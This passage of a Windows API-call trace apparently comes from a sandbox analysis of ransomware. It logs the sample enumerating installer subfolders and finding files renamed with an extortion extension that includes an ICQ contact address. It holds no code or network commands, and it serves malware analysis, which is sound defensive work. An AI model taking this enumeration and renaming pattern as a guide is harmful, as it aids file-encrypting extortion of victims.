nFileSizeLow=0x3c62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.032] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bcede9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.032] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0275.033] GetProcessHeap () returned 0xaf0000 [0275.033] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.033] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1043", cAlternateFileName="")) returned 1 [0275.033] GetProcessHeap () returned 0xaf0000 [0275.033] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0275.333] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.333] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bc7339, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5bc7339, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bfec24, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.333] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bcede9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5bcede9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c406f9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.333] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c225b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c225b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c66931, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.333] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c225b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c225b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c66931, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.333] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0275.335] GetProcessHeap () returned 0xaf0000 [0275.335] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1044", cAlternateFileName="")) returned 1 [0275.335] GetProcessHeap () returned 0xaf0000 [0275.335] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.336] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.337] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c406f9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c406f9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5f98f09, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.337] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c8cba0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c8cba0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c8cba0, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x136d2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.337] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cb2e47, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5cb2e47, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.337] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cb2e47, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5cb2e47, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.337] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.338] GetProcessHeap () returned 0xaf0000 [0275.338] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.338] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1045", cAlternateFileName="")) returned 1 [0275.338] GetProcessHeap () returned 0xaf0000 [0275.338] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.339] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.339] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f98f09, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5f98f09, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fc5d98, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.340] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fc5d98, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fc5d98, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142d2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.340] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6293e9b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.340] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6293e9b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.340] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.341] GetProcessHeap () returned 0xaf0000 [0275.341] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.341] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1046", cAlternateFileName="")) returned 1 [0275.341] GetProcessHeap () returned 0xaf0000 [0275.341] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.342] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.343] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc600ba3b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.343] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc600ba3b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc600ba3b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6031a32, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13c72, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.343] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6031a32, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6031a32, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62ba110, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.343] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6031a32, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6031a32, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62ba110, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.343] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.344] GetProcessHeap () returned 0xaf0000 [0275.344] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.344] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1049", cAlternateFileName="")) returned 1 [0275.344] GetProcessHeap () returned 0xaf0000 [0275.344] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0275.346] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.346] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6293e9b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6293e9b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62e042f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd5b2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.346] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62ba110, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62ba110, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62e042f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13f52, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.346] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62e042f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62e042f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6306685, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.346] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62e042f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62e042f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6306685, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.346] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0275.347] GetProcessHeap () returned 0xaf0000 [0275.347] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.347] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1053", cAlternateFileName="")) returned 1 [0275.347] GetProcessHeap () returned 0xaf0000 [0275.347] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.348] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.348] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | 